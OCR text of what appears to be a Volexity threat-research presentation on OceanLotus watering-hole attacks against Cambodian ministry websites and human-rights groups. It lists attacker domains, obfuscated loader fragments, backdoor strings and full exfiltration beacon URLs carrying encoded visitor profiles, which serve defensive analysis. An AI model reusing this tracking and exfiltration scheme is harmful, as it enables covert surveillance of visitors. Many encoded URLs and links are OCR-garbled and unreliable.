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Background

*In May 2015, Chinese cybersecurity company Qihoo 360
releases a report on a threat group they call OceanLotus.

» Report detailed targeted attacks
against Chinese government agencies,
maritime institutions, research
organizations, and shipping
enterprises since 2012.

APT

» Attacks are described as
state-sponsored, but no nation named OceanLotus (art-c-ee)
as a likely culprit. Srre
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OceanlLotus & Mac Malware

» In the initial report from Qihoo 360, references to Mac
malware were made.

»In February 2016, samples were publicly analyzed by
researchers at AlienVault, revealing advanced malware
capabilities targeting OS X.

*» The malware is identified as having several encryption
routines, anti-debugging capabilities, and built-in
capabilities to support executing commands and
applications, terminating processes, removing files, etc.

Ref:
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OceanLotus = Vietnamese?

= In May 2017, FireEye publishes a blog describing several new
OceanlLotus spear phishing messages, malicious attachments,
and backdoors.

» Multiple new backdoors with different capabilities and command and
control protocols are detailed.
= FireEye describes several targets and victims of OceanlLotus
campaigns that have a theme in common:
> Not Vietnamese
» Have business or other interests specifically pertaining to Vietham
» Oceanlotus effectively outed/named as being a Viethamese
APT group.

» The blog also tied OceanLotus to an EFF blog from 2014 where
Vietnamese activists/bloggers were targeted with malware.

Ref: https://www.fireeve.com/bloa/threat-research/2017/05/cvber-espionage-apt32.html
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https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
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Massive Tracking Campaign Uncovered =
® voLEXITY PRODUCTS  SERV

=In November 2017, Volexity
releases blog describing
massive OceanlLotus spying
campaign.
» Strategic Web Compromised
Sites:
» Chinese Shipping/Qil
» LA / KH / PH Government

»VN / US / etc. Human
Rights/NGO (with Vietnamese
Focus)

OceanLotus Blossoms: Mass Digital Surveillance
and Attacks Targeting ASEAN, Asian Nations, the
Media, Human Rights Groups, and Civil Society

NOVEMBER 6, 2017
by Dave Lassalle, Sean Koessel, Steven Adair
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The Accidental Discovery of Mass Surveillance
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Scanbox!

= On a nice spring day in 2017, we received a Scanbox alert
from a customer’s web browsing activity.

» Quick intro or refresher on Scanbox...

» PHP and JavaScript framework designed to profile and “exploit”
visitors of a website

» Has multiple plugins that support examining the browser,
browser plugins, installed software, and report various details
» Also has keylogger functionality (see our Virtual Private
Keylogging blog)
» Scanbox is primarily used by Chinese APT groups.
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MFAIC Cambodia .

» Examination of the alert reveals two key items:
» Alert is being triggered for connections back to the domain
ajax-js[.]Jcom
» Referring (compromised) URL is from www.mfaic.gov[.]kh
* The Ministry of Foreign Affairs and International Cooperation in Cambodia
» Scanbox in the wild is always interesting to see..
» Threat actor has breached MFAIC and installed Scanbox

» Further targeting organizations that would visit Cambodian MFA
website
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Scanbox in Source

/themes/ministry-of-foreign-affair/js/pdfobject.min.js?ver=2.0
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Earlier Activity and New Investigations
» Just two weeks earlier, we had identified a different
Scanbox URL on the website of the Ministry of the Interior
(www.interior.gov.kh).
» 5.104.105.194/adminxx5xx/
» Start proactively taking a look at KH Government
websites...
» The Ministry of Foreign Affair (MFA) — www.mfa.gov.kh
» The findings were... interesting
10
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Index of /js

Parent Directory.
amazon_scroller.js
coin-slider.js

criptdat +———m——
date.js

ic6.js
Jjquery-1.6.3.min js
jquery-1.7.2 min.js
jquery.carouFredSel-5.5.0.js
Iquery.casing.1.3.js
Jquery.js
Jquery.min js
jquery.skitter.min.js
Jquery_002.js
number_slideshow.js
script.js

scripts.js

tmp/
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Directory Listing On and Interesting Files

Index of /imgs/1644

e Parent Directory

. msbuild.l‘7£8
® nc.exe

Directory :
File Size : 26 kB

02:06:49-04:00
18:36:31-05:00

01:05:24-04:00

PE Type : PE32+
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File Name : cript.dat

File Modification Date/Time : 2017:05:12

File Access Date/Time :
File Inode Change Date/Time :

File Permissions : rw-r—-r—-

File Type : Win64 EXE

MIME Type : application/octet-stream
Machine Type : AMD AMD64

Time Stamp : 2014:09:01 04:00:24-04:00

64-bit Binaries -> Leviathan/GreenCrew/APT 40

$ strings -e 1 msbuild.log
%S \*

%S \%S

cmd . exe

svchost.exe

kernel32

2018:02:26

2017:06:21 %d %d.%d.%d %s

%d Core %.2f GHz
%.2f GB
null

modulePath=
modulePath=%["| ]

[Green] pid=%d tid=%d modulePath=%s |
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Interesting JavaScript File

» Closer look at the file /jwplayer.js reveals:

. jwGetBandwidth=function(){};r. jwGetLockState=function(){} ion(O{};

nlock=function(){};if( chrome & skin.

nfig.skin,h’ irn \
cument.cr ; b ;jwp.titl
p.title4" /jwp.js"|;m.parentNode. inse

» Obfuscated ]S that loads more JS from the following URL.:
» http://s.jscore-group.com/js/jwp.js

© Volexity Inc.
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Examining HTTP Activity

*» The JS was designed to blend in and look like it is a
legitimate part of the website’s JW Player plugin.

= Pulled all related traffic from system accessing the KH
MFA website.

» Request for jwp.js showed the file was pretty large -
approximately 48 KB.

» Network traffic showed follow-on HTTP requests that were
particularly interesting.

© Volexity Inc.
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HTTP Activity Cont’d =

= A follow on URL from s.jscore-group.com was requested:
https://health-ray-id.com/robot.txt

» Text file with a constantly changing GUID value. Example:
2223f4b74d-5db0-40a7-8755-bf1d257aa513

» Followed by a few more interesting requests like:
http://s.jscore-
aroup.com/ads/JTdCITIydXVpZCUyMiUzQSUyMidkMmQ3Y2UON2RKMTdhZWIhZW
U5MihhMmJiMWFmMMDk1JTIyIJTIDITIyenV1aWQIMiIIMOEIMilyM2Y0Yic0ZC01ZGIw
LTOWYTctODc1NS1iZiFkMiU3YWE 1MTMIM{IIMKMIMiJoYXNoJTIyITNBITIyJTIyITdE/
adFeedback.js

© Volexity Inc.

Next Request

http://s.jscore-
group.com/sync/JTdCJZIyaG\szdeSUyMiUzQSU3QinMmNsaW\/udFQOaXRsZSUyMiUzQSUyM\\/1MTc4MCV1MTdEMiVlMTcSQSVlMTcSRiVlMTdCRCVlMTc4NCV1MTc4MCV1YTdCNi\/1MT
S5QSVIMTcS5NCVIMTc5QSVIMTCSMSVIMTADMSVIMTCSRIUYMCVIMTCS) JVIMTdCN VIMTc4NCVIMTCMRIVIMTdBMCVIMTCSNCVIMTAPMiIVIMTCS5QSVIMTC4RIVIMTACNYVIMYCS5NCVIM
Tc4R|V1MTdEM|\/13Tc4RlVlMTdCNy\/lMTc4MCV1MTdCN\VlMTcSQSVlMT BMiVIMTcSMyVIMTAEMiIVIMTC4RIVIMTcSQSVIMTc4NYyVIMTACNIVIMTCc4RIVIMTdCNYUYMCV1IMTc5MyVIMTdC
NyVlMTC4NCV1MTCSRI\/IMTdEMIV1MTI:SMCVlMTdCNIVlMTCSM\/VIMT:4R|\/1MTdDN\\/1MTC4RSV1MTdCN|VlMTC4NCVlMTC4MCV1MTC50C\/1MTdEMIV1MTC5N|\/1MTdCQ|\/1MTE4N ViMTd
CNIU’XIMCVlMTC4Ny\/1MTdCRCVlMTCSOS\/IMTCSR\\/lMTC4NC\/1MTdEM\\/1MTC5 SVIMTAEMiVIMTc4MiVIMTdDNCVIMTdDNAVIMTCcSNIVIMTC5QiVIMTC5QSVIMTc4 S\/lMTdEMnVlMTC4
QiVIMTc4MSVIMTAEMiIVIMbc50CVIMTADMIVIMTc5QSUYMCV1IMTAFNSVIMTAFNYVIMTdFOCUYMCVIMTc5MyVIMTACNIVIMTc4MCVIMTdDQRUYMCVIMTC4MCVIMTAEMIVIMTCSMyVIMT
dCQ\\/lMTc4NC\/1MTcSRSVlMTcSOSVlMTdDZCVlMT:SNlVlMTdDMS\/lMT:SQIUyMCVlMTdFOSUyMCVlMTc4MS\/lMTdDM|UyMCV1MTc4QSVlMTdCRSV1MTc50CV1MTc4N|V1MTdEM\\/1M
Tc5MyVIMTACNiIVIMTdDNIUYMCVIMTAFMiIVIMTdFMCVIMTdFMSVIMTAFNiUyMiUyQyUyMmNsaWVudF91cmwIMjIIMOEIMjJodHRWITNBLY93d3cubWZhLmdvdiSraC8IMOZwWYWdIJTNEZGVOY
WIsJTIZYBRScGUIMDRhcanYZxIJTIZaWQIMOQxOTY4JTIZch|MORIbluyM|UyQyUyMrnNsaW\/udFQ]bZQraWU\MJIIMOEIMJJQSFBTR\/NTSUQ\MORrNTgyZJMzYmY4MDMWZWVIMJVIOGMSYZYyNJ
M NZNkYSUzQIUyMF9fY><R1dmMIMDQxJTIlNDMyMSUzQ\UyMF9NXR1an\MOQ10TIOMJRJODFmYTkzZmYSMDAwJTNCJTIWX19hdHNzYyUzRdebstZSUyNTNCMSUzQ UyMFNBUEITXOIEJT
NEYDdacVIXTnBabUSOYVd bVpHcGIjRzVxY0dscFkyc3VZMIIOWW5KdmQzTmxjaTFsZUhSbGJIUTnBIMjR1YW 1SbWEYMXBZVOpxJTIyJTIDITIyY2xpZW50X2hhc2gIMjIIMOEIMIIMJIIMKMIMjIjbGI
IbnRf:meZXJyZXIIMJI\MOE\MJJodHRwl:yUZQSBvd3d3LmdvbZdsZSSJbZOVJTIVJTJDJTIVYZXDZW50><3BsYXRmb3JtX3VhJTIyJTNBJTIyTW9EansYSSlLJAIMJA\MJthW5kh3dzJTIwTIQIM]AxM
C4wITNCITIWVOIXNIQIMjl kIM‘i/BBcHBSZ\/dIthR‘dCBlecuMZY\MJAIM hLSFRNTCUyQyUyMGXDaZU\MhBHZWNrbyU&OSUK/MENDCm%ZSS10C4WLJMWM,{}<UMTEWJTIWUZFMYX LzUzNy4zNiUy
MiUyQyUyMmNsaWVudF 11TIyJTNBITIyMjAXOyOwNSOyM1QxMiUzQTAyJTNBMTcuODKxWilyMiUyQyUyMnRpbWV6b2513TIyJTNBITIyQW1lcmIjYS90ZXdfWW9yayUyMiUyQyUyMmNsa
W\/udF9uZXR3b3]rX2IwX2xpc3QIMJIIMDE\NUIIMJIxOTIuMTY4LngLJIwNCUyM|U1RCUyQyU MmNsaWVudF9hcGKIM;IIMOEIMjIwWMDCcKMDAYZTAWNmMEWMDczMDA2MZAWNmMYwWMDcyMDA2NT
AwMm 3wMDV3MDA3M]AWNmYWMD ciM 3MDAmeUwMDVzMDAZZJAwNm IMglleMIMJJJbGIIbandXV ZCUyMiUz SUYI\;_I‘]dkMmQBYZUONZRKMTGhZWJhZWUSMbhhMmJ MWFmMMDK1JTI
yITIDITIyY2xpZ W50><3p1dW\kJTIyJTNBJTIy JNMNGI3SNGQtNWRIMCOOMGE3L’ NTUtYmYXZDI1N2FhN EZJT yJTJD T1yZHVyaW5nJTIyJTNBITdCITIyaGlzdG9yeSUyMiUz: TIBOTCIMkMIMJ
J3ZWJdeM\MJIIMOE|NUIyNZklJT\/EJTdEJTdEJTJDJTbemFZaWdhdGQYJTIYJTNBJTdCJTIdeNICkFﬂZW50JTI BITIyTW96aWxsYS81LjAIMjAIMjhXaW5kb3dzITIWTIQIMjAXMCA4WITNCITIwW
VOQXNJQIMjk\MjBBcHBsZVdWktpdCS1MzcuMzVIMJAIMJhLSFRNTCUyQyUyMpraZUIM]BHZWNrbyUyOSUyMENochtZSSlOC4WLJMWMjkuMTEwJleUZFmYXJpLzUzNy4zN\UyMlUyQyUmeF
wcFZlenN b24|N(I:JI\M0E\Mgv%1LJAIMgAIPfIr]IthWSKb3dZJTIWTI%\W xMC4WJTNCJTIWVD9XN£%\M6KIMJBBCHBsZ\/dIYkglpdCS1MzcuMZYIM,U\IMJhLSFRNTCUéQgUyMGXFaZXIM]BHZWNrbyUyOSUp
ENocm9tZS810 FmYXJIpLzUzNy4zNiUyMiUyQyUyMm FwcENv. W1IJTIyJTNBITIyTW96aWxsYSUyMiUyQyUyMmFwcESRBWUIM{TIMOEIMjJOZXRZY 2FwWZS Uy Mi
UyQyUyMnBsVXRmbBJtJTIyJTNBJTIyVZIuMzIIMJI\MkM\MJchmQKdWNOJTIyJTNBJTIyRZ\/JaZSIMJIIMkMIMJJwn:m9kdWNDUB\/\JTIyJTNBJTIyMJAwMzAxMDcIMJI\MkM\MJJtYXhUbB\/JaFBVaWSDE
}/ UyMiuz TAIMkMIstYWSHdWFnZSU MiUzQsu MmVuL\/VTJTI{)JTJDJTHbGFuZ3VhZZVZJT JTNBITVCITIyZW4tVVMIMIIIMKMIM JIblUyMIU1RCU}'(%YU_lyMmRVTmQO\/HJhYZS\M IIMOFudWxS
TIDITIyY29va2llRWShYmxIZCUyMiUzQXRydWUIMKMIMjJ2ZW 5kb3IIMIIMOEIMjIHb29nbGUIMjBIbmMuJTIyJTIDITlydmVuZG9yU3ViJTIyJTNBITIyJTIlyJTIDITIyb25MaWSIITIyJTNBdHI1ZS
yQyUmehhcrnR3Y><JIQZ9uY3Vycm\/uV3kIMjI\MOE4JTJDJTchleZZIucyUyMlUZQSU3Q|UyMrnFJdGIZZXg\MJIIMOFmYszZSUyQyUmeNvUnMIMJIIMDFDchIJTJDJTIymethg\MJIIMOFmY
UyQyUyMmphdmEIMjIIMOFmYWx2zZSUyQyUyMmZveGI0JTIyJTNBZmFsc2UIMKMI MJJWaG9uZWdthUyMIUzQWZhbHN|JTJDJTch><\/pY2t0aW1\JTIyJTNBZmFchUIMkMIMJJyZWFschh
eWVPXJTIyJTNBZmFchUIMkMIM JzaWx2ZXJsaWdodCUyMiUz QWZhbHNIJTJDJTIdeQlYZPZIM IIMOFmMYW x z\/ yMnZic2NyaXB0OJTIyJTNBZmFsc2UIMkMI gllJZbGMINHIMOFmYWXZZSU vQ
ndiYnJoYyUyMiUzQXRyd U|MkMIMJJBDXAIM]IIMOFmYszZSU3RCUyQyUyM\92Y3J 4|MJI\MOE\NOIIM]J3a ROaCUyMiUzQTE1MzYIMKMIMjJoZWInaHQIM;IIMOE4N;QIMKMIMjJhdmFpb
FdpZHROJTIyJTNBMTUXNiUyQyUyMmF2YWIsSGVpZ2h0JTIyJTNBODIOJTIDITIycmVzb2x1dGIvbiUyMiUzQSUyMjE1MzZ40DYO0JTIyJTdEITIDITIyX3BsdWdpbnMIMJIIMOEINUIINOIIMjIKZXNjcm
deleblU MiUzQSUyMkVuYWJsZXMIM BXaWRIdquZSU(MMGX YZ\/ul:Z\/ZJTIWZm9yJTIW|:GxheWJhYZSIMijZinMEhUTUWH\'IU]Bdepr\/QZaWR\byu MGZVbnRIbns\NJTIWJTMdm\/YCZ\Vb\U
2QSUyMDEUNC441jk3MCUyO0SUyMiUyQyUyMmZpbGVuYW 11TTyJTNBITIyd2IkZXZpbmVjZG1hZGFwdGVyLmRsbCUyMiUyQy yMmxlbmeaCUyMIUZ(KTEIMleMjJu 11JTIyJTNBITIyV21kZ
XZpbmUIMjBDb250ZW50JTIWRGV]jcnlwdGIvbiUyME1vZHVsZSUyMi13RCUyQyU 3Q|uyMmRIcZNanBOaW9uJTIyJTNBJTIyJTIyJTJDJTIyZm\sZWShbWUIMJIIMOEIMJJtaGpmelkZZNmam icG
FIb2pvZm90b2VmZ2ilaGphaSUyMiUyQyUyMmxIbmd0aCUyMiUzQTEIMKMIMIIuYW 113TIyJTNBITIyQ2hyb2 1 TIWUERGITIWVmIId2VyITIyJTAdEITIDITACITIyZGVzY3IpcHRpb24IM31IMOEIMIIIM
]IIMkMIMJJman\bmFtZSUyMIUZQSUyMrn\udGVybmFsLW5hVZwthxl32IuJTIyJTJDJTbeG\/uZ3RoJTIyJTNBM\UyQyUmeShbWUIM]IIMOEIMJJOYXdemUIMJBDbGanQIMJI\NOQIMkMINOIIMJ
JkZXNJcmdeG\vbluyM|ZzQSUyMIBvcnRhmelJTIwRGQJdW1Ian\MJBGb3JtYXQIMJI\MkM\MJJmanIbmFtZSUy iUzQSUyM dGVybmFsLXBkleZaW\BZXIIMJI\MkMIMJJsZWSnngIMJI\MDE
XITIDITIybmFtZSUyMiUzQSUyMkNo SUyMFBERIUyMFZpZXdIciUyMiU3RCUIR yQyUyMIQtan\\/H\WZXM\MJIIMUEINUIINOIIMJJkZXN]cm\de\vb\UyM\UZQ MIdpZGV2aW51TIwQ29
udGVudCuyMERW3J5CHprZ4IMJBNbZRleUIMJI\MkMIM]szWZmaXhIcyUyMleQSUyM\UyM\UyQ UyMnRScGUIMJI\MOE\MJJthBsaWNhdGIvb\94LXBwYXBpLXdeG\/ZaW5|LWNkaUyM|U3
Uy yU3%\UmeRIcZNanBOaW9uJTI JTNBJTIEJTI&JTJDJTIytSVmZm\4ZXM|MJI\MOE\MJJWZGYIM IIMkM\MhOEXBIJTIyJTNBJTI VXBWhGlfYXR b24vcGRmITIYITAEITIDITACITIYyZGVzY3p
cHpr 4IMJIIMOEIMjJOYXRpdmUIMjBDbGIIbnQIMj ]dXRhYmxIJTIyJTJDJTch3VmZmI4ZXM\MJIMOEIMJI\ JIIMkMIMjJ0eXBITIYJITNBITIyYXBwbGIjYXRpb24veCluYWNsJTIYJTdEITIDITd
CJTIyZG\/zYBJchpr24IMJI\MDE\MJJQb3JOYWJsZSUyME5thIZZSUyMEN saWVudCUyMEV4ZWN1dGFibGUIMjIIMkMIMjizdWZmaXhlcyUyMiUzQSUyMiUyMiUyQyUyMnR5cGUIMJIIMOEIMjIhc
HBsaWNhdGIvbi94LXBuYWNsITIyJTdEITIDITdCITL ZG\/ZYBJECHR{)hZ‘HM IIMOEIMJRSIJBJOYWJSZSU MERVY3VtZWS50JTIWRmMOybWFOJTIyJTIDITIyc3VmZmI4ZXMIMjIIMOEI2jIwZGYIM;IIMKkM
IMjJ0eXBITIyIJTNBITIyYXBw2GIjYXRpb24veC1nb29nbGUtY2hyb21ILXBkZiUyMiUSRCU1RCU3RCU3RB==/img_blank.gif
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https://health-ray-id.com/robot.txt
http://s.jscore-group.com/ads/JTdCJTIydXVpZCUyMiUzQSUyMjdkMmQ3Y2U0N2RkMTdhZWJhZWU5MjhhMmJjMWFmMDk1JTIyJTJDJTIyenV1aWQlMjIlM0ElMjIyM2Y0Yjc0ZC01ZGIwLTQwYTctODc1NS1iZjFkMjU3YWE1MTMlMjIlMkMlMjJoYXNoJTIyJTNBJTIyJTIyJTdE/adFeedback.js
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URLS =

» Yes that last URL was as crazy as it looks.

= Turns out all of this JavaScript is formulating URLs full of
base64.

= | et’'s decode them...
» First URL decoded:

% 7B%22uuid%22%3A%227d2d7ce47dd17aebaee928a2bclaf09
5%22%2C%22zuuid%22%3A%2223f4b74d-5db0-40a7-8755-
bf1d257aa513%22%2C%22hash%22%3A%22%22%7D

© Volexity Inc.
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Long URL Decode =

22%2C%22app\Version%22%3A%225.0%20%28Windows%20NT%2010.0%3B%20WOW64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like
%20Gecko%29%20Chrome/58.0.3029.110%20Safari/537.36%22%2C%?22appCodeName%22%3A%22Mozilla%22%2C%22appName%22%3A%22Ne
tscape%22%2C%?22platform%?22%3A%22Win32%22%2C%22product%22%3A%22Gecko%22%2C%22productSub%22%3A%2220030107%22%2C
%22maxTouchPoints%22%3A0%2C%?22language%22%3A%?22en-US%22%2C%?22languages%22%3A%5B%22en-
US%22%2C%?22en%?22%5D%2C%?22doNotTrack%22 %3Anull%2C%?22cookieEnabled%22%3Atrue%2C%22vendor%22%3A%22Google%20Inc. %22
%2C%22vendorSub%22%3A%22%22%2C%?220nLine%22%3Atrue%2C%22hardwareConcurrency%22%3A8%2C%22plugins%22%3A%7B%?22active
X%22%3Afalse%2C%22cors%22%3Atrue%2C%22flash%22%3Afalse%2C%22java%22 %3Afalse%2C%2 2foxit%22%3Afalse%2C%22phonegap %22
%3Afalse%2C%22quicktime%22%3Afalse%2C%?22realplayer%22%3Afalse%2C%22silverlight%22%3Afalse%2C%22touch%22%3Afalse%2C%22vbs
Cript%22%3Afalse%2C%22vIc%22%3Afalse%2C%22webrtc%22%3Atrue%2C%22wmp%22%3Afalse%7D%2C%22_screen%22%3A%7B%22width%
22%3A1536%2C%22height%22%3A864%2C%22availWidth%22%3A1536%2C%?22availHeight%22 %3A824%2C%22resolution%22%3A%221536x86
4%22%7D%2C%?22_plugins%22%3A%5B%7B%22description%22%3A%22Enables%20Widevine%?20licenses%20for%?20playback%200f%20HTML%
20audio/video%20content.%20%28version%3A%201.4.8.970%29%?22%2C%?22filename%22%3A%22widevinecdmadapter.dll%22%2C%22length%2
2%3A1%2C%22name%?22%3A%22Widevine%20Content%20Decryption%20Module%22%7D%2C%7B%22description%22%3A%22%22%2C%22file
name%?22%3A%22mhjfbomdgcfibbpaeojofohoefgiehjai%22%2C%22length%22%3A1%2C%22name%22%3A%22Chrome%20PDF%20Viewer%22%7D
%2C%7B%22description%22%3A%22%22%2C%22filename%22%3A%22internal-nacl-
plugin%22%?2C%?22length%22%3A2%2C%22name%?22%3A%22Native%20Client%22%7D%2C%7B%22description%22%3A%22Portable%20Docum
ent%20Format%22%?2C%?22filename%22%3A%22internal-pdf-
viewer%22%2C%?22length%22%3A1%2C%22name%22%3A%22Chrome%20PDF%20Viewer%?22%7D%5D%2C%22_mimeTypes%22%3A%5B%7B
%22description%22%3A%22Widevine%20Content%20Decryption%20Module%22%2C%22suffixes%22 %3A%22%22%2C%22type%22%3A%22appli
cation/x-ppapi-widevine-
cdm%z2557Ig%zc"/ﬂB%zzdescription%22%3A%22°/022°/02C%225ufﬁxes%22%3A%22pdf%22%2C%22type%22%3A%22application/pdf°/022°/o7D°/o
2C%7B%22description%22%3A%22Native%20Client%20Executable%22%2C%22suffixes%22%3A%22%22%2C%?22type%22%3A%?22application/x-
nacl%22%7D%2C%7B%22description%22%3A%22Portable%20Native%20Client%20Executable%22%2C%22suffixes%22%3A%22%22%2C%22typ
€%22%3A%?22application/x-
pnacl%22%7D%2C%7B%?22description%22%3A%?22Portable%20Document%20Format%22%2C%22suffixes%22%3A%22pdf%22%2C%22type%22
%3A%?22application/x-google-chrome-pdf%22%7D%5D%7D%7D

© Volexity Inc.
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Cleaned Up

", "appVersion":"5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110

Safari/537.36","appCodeName":"Mozilla","appName":"Netscape", "platform":"Win32","product":"Gecko","
productSub":"20030107","maxTouchPoints":0,"language":"en-US","languages":["en-
Us","en"],"doNotTrack":null,"cookieEnabled":true,"vendor":"Google
Inc.","vendorSub":"","onLine":true,"hardwareConcurrency":8,"plugins": {"activex":false,"cors":true,"flash
":false,"java":false, "foxit":false,"phonegap":false,"quicktime":false,"realplayer":false,"silverlight":false, "touch"
:false,"vbscript":false,"vic":false,"webrtc":true,"wmp":false},"_screen": {"width":1536,"height":864,"availWid
th":1536,"availHeight":824,"resolution":"1536x864"},"_plugins":[{"description":"Enables Widevine licenses
for playback of HTML audio/video content. (version:
1.4.8.970)","filename":"widevinecdmadapter.dll","length":1,"name":"Widevine Content Decryption
Module"},{"description":"","filename": "mhjfbmdgcfjbbpaeojofohoefgiehjai","length": 1,"name":"Chrome PDF
Viewer"},{"description":"","filename":"internal-nacl-plugin","length":2,"name": "Native
Client"},{"description":"Portable Document Format","filename":"internal-pdf-
viewer","length":1,"name":"Chrome PDF Viewer"}],"_mimeTypes":[{"description":"Widevine Content
Decryption Module","suffixes":"","type":"application/x-ppapi-widevine-
cdm"},{"description":"","suffixes":"pdf","type": "application/pdf"},{"description":"Native Client
Executable","suffixes":"","type": "application/x-nacl"},{"description":"Portable Native Client
Executable","suffixes":"","type": "application/x-pnacl"},{"description": "Portable Document
Format","suffixes":"pdf","type":"application/x-google-chrome-pdf"}]} }

© Volexity Inc.
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More URLs

= A few more similar URLs are accessed to send back information,
including the following:

http://s.jscore-
group[.]Jcom/sync/JLdCITIyaGlzdG9yeSUyMiUzQSU3QiUyMmNsaWVudF90aXRsZSUyMiUzQSUybiVIMTc4MCVIMTAEMIVIMTcSQSV1IMTC5RIVIMTACRCVIMTc4NCVIMTc4MCVIMTACNI
V1IMTc5QSVIMTcSNCVIMTc5QSVIMTC5MSVIMTADMSVIMTCSRIUYMCVIMTcSMyV1ZZdCNyV1IMTc4NCVIMTC5RIVIMTABMCVIMTCSNCVIMTAEMIVIMTC5QSVIMTC4RIVIMTACNYVIMTe
SNCV1MTc4RiVIMTAEMiV1Dpc4RiVIMTACNYVIMTc4MCVIMTACNIVIMTC5QSVIMTABMiIVIMTc5xyVIMTAEMIVIMTC4RIVIMTc5QSV1IMTc4NyVIMTACNIVIM2c4RiVIMTdCNyUyMCViIMTe
SMyVIMTdCNyVIMTc4NCVIMTCc5RIVIMTAEMiIVIMTCSMCVIMTACNIVIMTCSMyVIMTc4RIVIMTADNIVIMTC4RSVIMTACNIVIMTc4NCVIMTc4MCVIMTCSOCVIMTAEMIVIMTCSNIVIMTACQI
V1IMTc4NyVIMTACNiIUYyMCV1IMTc4NyVIXTdCRCVIMTC50SVIMTCSRIVIMTC4NCVIMTAEMIVIMTC5QSVIMTAEMIVIMTc4MiVIMTADNCVIMTADNYVIMTC5NiIVIMTC5QiVIMTC5QSVIMTc4
QSVIMTAEMIiVIMTc4QiVIMTc4MSVIMTAEMIVIMTc50CVIMTADMIVIMTC5QSUYyMCVIMTAFNSVIMTAFNYV1IMTdFOCUYyMCV1IMTc5MyVIMTACNiIVIMTc4MCVIMTADQIUYMCV1IMTc4MCV1
MTAEMiVIMTcS5MyVIMTdCAIVIMTc4NCVIMTC5QSVIMTc50SVIMTADOCVIMTC5NIVIMTdDMSVIMTc5QiUyMCVIMTdFOSUYMCVIMTc4MSVIMTADMIUYyMCV1IMTc4QSVIMTACRSVIMTcCS
OCVIMTc4NIVIMTAEMIVIMTcSMyVIMTACNIVIMTADNIUyMCVIMTAFMiIVIMTdFMCVIMTdFMSVIMTAFNiIUYMiUyQyUyMmNsabVudF91cmwIM;IIMOEIMjJodHRWITNBLY93d3cubWZhLmdvd
i5raC8IMOZWYWdIITNEZGVOYWIsITI2Y3R5cGUIMORhcnRpY2xI1ITI2aWQIMOQxOTY4ITI2bGcIMORraCUyMiUyQyUyMmNsaWVudF9jb29raWUIMJIIMOEIMjIQSFBTRVNTSUQIMORINTgYZjMz
YmY4MDMwWZWVIMjY10GM5YzYyNjMyN2NkYSUOdQiUyMFIfYXRzc2MIMORNb29nbGUIMjUZzQJEIMOIIMjBfX19BUEITSUQIMOQ3ZDIKN2NINDAKkZDE3YWViYWVIOTI4YTIiYZFhZjASNSUzQiUy
MF9fYXR1dmMIMOQyJTIINOMyMSUzQiUyMFIfYXR1dnMIMOQ1OTIOMjRjODFmMxTkzZmY1MDDAXIJTNCITIWUOFQSVNfSUQIMORjR1pxWVdOCFptTnRhV2htWkdwb2NHNXFjR2xwWTIzdVky
OXRZbkp2ZDNObGNpPMWxISFIsYm50cGIyNHVhbV 1tYTIXcFIXSnEIMIIIMKMIM}JjbGlibnRfaGFzaCUyMiUzQSUyMiUyMiUyQyUyMmNsaWVudF9yZWZlcnJlciUyMiUzQSUyMmhOdHAIMOEVL3
d3dy5tZmEuz292LmtoLyUzRnBhZ2UIMORKZXRhaWwIMjZjdHIwZSUzRGFydGIjbGUIMjZpZCUZzRDESNjgIMjZsZyUzRGVuUITIyJTIDITIyY2xpZW50X3BsYXRmb3JtX3VhITIyJTNBITIyTb96a
WxsYS81LjAIMjAIMjhXaW 5kb3dzITIWTIQIMjAhgCAwITNCITIWVOIXN)QIMjkIMiBBCHBSZVdIYktpdC81MzcuMzYIMjAIMjhLSFRNTCUYQyUyMGxpa2UIMjBHZWNrbyUyOSUyMENocm9tZS81
0C4WLIMWMKuMTEWITIWU2FmYXJpLzUbNy4zNiUyMiUyQyUyMmNsaWVudF90aW 113 TIyJTNBITIyMjAxNyOwNSOyn1QxMiUzQTAyJTNBNTAUODESWiUyMiUyQyUyMnRpbWV6b2513TTyIT
NBITIyQW 1lcmIjYS90ZXdfWW9yayUyMiUyQyUyMmNsaWVudFOuZXR3b3IrX2IwX2xpc3QIMIIIMOEINUIIMIIXOTIUMTY4LjgwLjIwNCUyMiU1RCUyQyUyMmNsaWVudFOhcGkIMIIIMOEIMIIw
MDczMDAYZTAWNmMEWMDczMDA2MzZAWNMYWMDcyMDA2NTAWMmMQWMDY3MDA3MjAWNMYWM201MDA3SMDAWMmMUWMDYzbDA2ZjAWNmMQIMJIIMKMIM]JjbGlibnRfdXVpZCUyMiUzQSUy
MjdkMmQ3Y2UON2RKMTdhZWIhZWUSMjhhMmIjMWFmMMDk1JTIyITIDITIyY2xpZW50X3p1dWIKITIYJTNBITIYMjNMNGI3NGCctNWRIMCOOMGE3LTg3NTUtYmYXxZDI1IN2FhNTEZITIyJTIDIT
IyZHVyaW5nJTIyJTNBITACITIyaGlzdG9yeSUyMiUzQTEZNTUIMKMIM}I3ZW JydGMIMIIIMOEINUTLNFIINUQINOQINOQIMKMIMjIuYXZpZ 2FOb31IMIIMOEINOIINOQINOQ=/img_blank.gif

© Volexity Inc.
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Decoded & Cleaned Up =

{ "history ":{ "client_title ":
"%u1780%ul17D2%ul179A%u179F%u17BD%u1784%ul1780%ul17B6%ul179A%u1794%ul179A%ul1791%u17C1%ul79F
%u1793%ul7B7%u1784%ul179F%ul17A0%ul1794%ul17D2%ul179A%ul78F%ul7B7%ul1794%ul178F%ul17D2%ul78F%ul7B7
%u1780%ul7B6%ul79A%ul17A2%ul1793%ul7D2%ul78F%ul179A%ul787%ul7B6%ul78F%ul7B7
%u1793%ul17B7%ul1784%ul79F%ul17D2%u1790%ul17B6%ul1793%ul78F%ul7C6%ul78E%ul7B6%ul784%ul1780%ul798
%u17D2%ul1796%ul17BB%ul1787%ul7B6
%u1787%ul7BD%u1799%u179F%u1784%ul17D2%ul179A%ul17D2%ul1782%ul17C4%ul7C7%ul1796%u179B%ul179A%ul78A
%u17D2%ul178B%ul1781%ul17D2%ul1798%ul7C2%ul79A %ul7E5%ul7E7%ul7E8 %ul1793%ul7B6%ul1780%ul7CB
%u1780%ul17D2%u1793%ul7BB%u1784%ul179A%ul1799%ul17C8%u1796%ul7C1%ul79B %ul7E9 %ul781%ul7C2
